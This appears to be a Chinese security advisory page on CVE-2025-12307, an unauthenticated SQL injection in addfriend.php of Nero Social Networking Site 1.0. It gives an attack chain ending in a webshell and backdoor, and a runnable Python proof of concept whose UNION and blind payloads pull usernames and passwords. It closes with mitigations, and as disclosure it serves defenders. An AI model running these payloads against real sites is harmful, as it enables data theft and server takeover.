IPBUF安全漏洞报告
English
CVE-2025-12307 CVSS 7.3 高危

CVE-2025-12307: Nero Social Networking Site 1.0 addfriend.php SQL注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12307
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Nero Social Networking Site 1.0

相关标签

CVE-2025-12307SQL注入代码注入Nero Social Networking Sitecode-projects高危漏洞远程攻击无需认证Web应用安全addfriend.php

漏洞概述

CVE-2025-12307是code-projects Nero Social Networking Site 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/addfriend.php文件中,由于对用户输入的ID参数缺乏充分的过滤和验证,攻击者可以通过构造恶意的SQL语句实现数据库注入攻击。Nero Social Networking Site是一个社交网络平台应用,版本为1.0,广泛应用于小型社交网站搭建场景。该漏洞的CVSS评分为7.3,属于高危级别,攻击向量为网络形式,攻击者可以在无需认证的情况下远程利用此漏洞。成功利用此漏洞可能导致敏感数据库信息泄露,包括用户账户凭证、个人隐私数据等。更为严重的是,在某些配置下,攻击者可能通过SQL注入获取服务器操作权限,实现远程代码执行。由于该漏洞的利用代码已公开,且利用难度较低,对使用该版本应用的用户构成了严重的安全威胁。建议受影响的用户立即采取防护措施,避免遭受攻击。

技术细节

该SQL注入漏洞位于Nero Social Networking Site 1.0的/addfriend.php文件中的ID参数处理逻辑。当用户访问添加好友功能时,程序会将URL中传递的ID参数直接拼接到SQL查询语句中,而未进行任何输入过滤或参数化查询处理。攻击者可以通过在ID参数中注入SQL语句来实现恶意操作。典型的攻击Payload包括:使用UNION SELECT语句提取数据库版本、用户名、密码哈希等信息;使用布尔型盲注通过页面响应差异判断数据内容;使用时间型盲注通过数据库延迟函数获取敏感数据。由于应用程序未对用户输入进行严格验证,攻击者可以绕过前端的简单防护措施,直接与后端数据库交互。漏洞影响整个数据库的安全边界,攻击者可以读取、修改甚至删除数据库中的任意数据。在MySQL数据库环境下,攻击者还可以利用INTO OUTFILE语句将恶意代码写入服务器,实现webshell部署和远程代码执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先访问目标网站,识别Nero Social Networking Site 1.0版本,确认/addfriend.php文件的存在和功能
STEP 2
步骤2
漏洞探测:构造恶意的ID参数值(如1' OR '1'='1),发送HTTP请求测试SQL注入漏洞是否存在,观察服务器响应
STEP 3
步骤3
注入验证:通过UNION SELECT语句验证注入点,提取数据库版本、当前用户、数据库名称等基本信息
STEP 4
步骤4
数据提取:利用UNION注入或盲注技术逐步提取数据库中的敏感数据,包括用户表、密码哈希、隐私信息等
STEP 5
步骤5
权限提升:在获取足够数据库信息后,尝试通过INTO OUTFILE写入webshell或利用数据库功能执行系统命令
STEP 6
步骤6
持久化控制:部署后门程序,建立持久化访问通道,实现对目标服务器的长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12307 SQL Injection PoC # Target: Nero Social Networking Site 1.0 # File: /addfriend.php # Parameter: ID def exploit_sqli(target_url, param_id): """ SQL Injection exploitation function Test various SQL injection payloads """ # Basic authentication bypass with OR condition payload1 = "1' OR '1'='1" # Union-based injection to extract database version payload2 = "1' UNION SELECT NULL,version(),user(),database()-- -" # Extract users table information payload3 = "1' UNION SELECT NULL,username,password FROM users-- -" payloads = [payload1, payload2, payload3] for i, payload in enumerate(payloads, 1): print(f"[*] Testing payload {i}: {payload}") params = {'ID': payload} target = f"{target_url}/addfriend.php" try: response = requests.get(target, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200: # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] SQL Error detected - injection successful") else: print("[*] Response received - verify manually") except requests.RequestException as e: print(f"[-] Request failed: {e}") def blind_sqli_test(target_url): """ Blind SQL Injection test using boolean conditions """ # True condition true_payload = "1' AND 1=1-- -" # False condition false_payload = "1' AND 1=2-- -" print("[*] Testing blind SQL injection...") try: true_resp = requests.get(f"{target_url}/addfriend.php", params={'ID': true_payload}, timeout=10) false_resp = requests.get(f"{target_url}/addfriend.php", params={'ID': false_payload}, timeout=10) if len(true_resp.text) != len(false_resp.text): print("[!] Blind SQL injection confirmed - different responses") print(f"[+] True response length: {len(true_resp.text)}") print(f"[+] False response length: {len(false_resp.text)}") else: print("[*] Responses are similar - may need parameter adjustment") except requests.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12307.py <target_url>") print("Example: python cve-2025-12307.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-12307\n") exploit_sqli(target, 'ID') print("\n[*] Running blind SQL injection tests...") blind_sqli_test(target)

影响范围

code-projects Nero Social Networking Site 1.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache rewrite规则)限制对/addfriend.php的直接访问;2)在应用层前端增加参数长度和格式验证;3)部署临时的WAF规则拦截包含SQL注入特征的请求;4)暂时禁用添加好友功能模块;5)启用数据库操作日志审计,实时监控异常查询行为;6)使用网络层ACL限制只有受信任的IP可以访问该应用。建议同时关注官方安全公告,及时获取修复更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表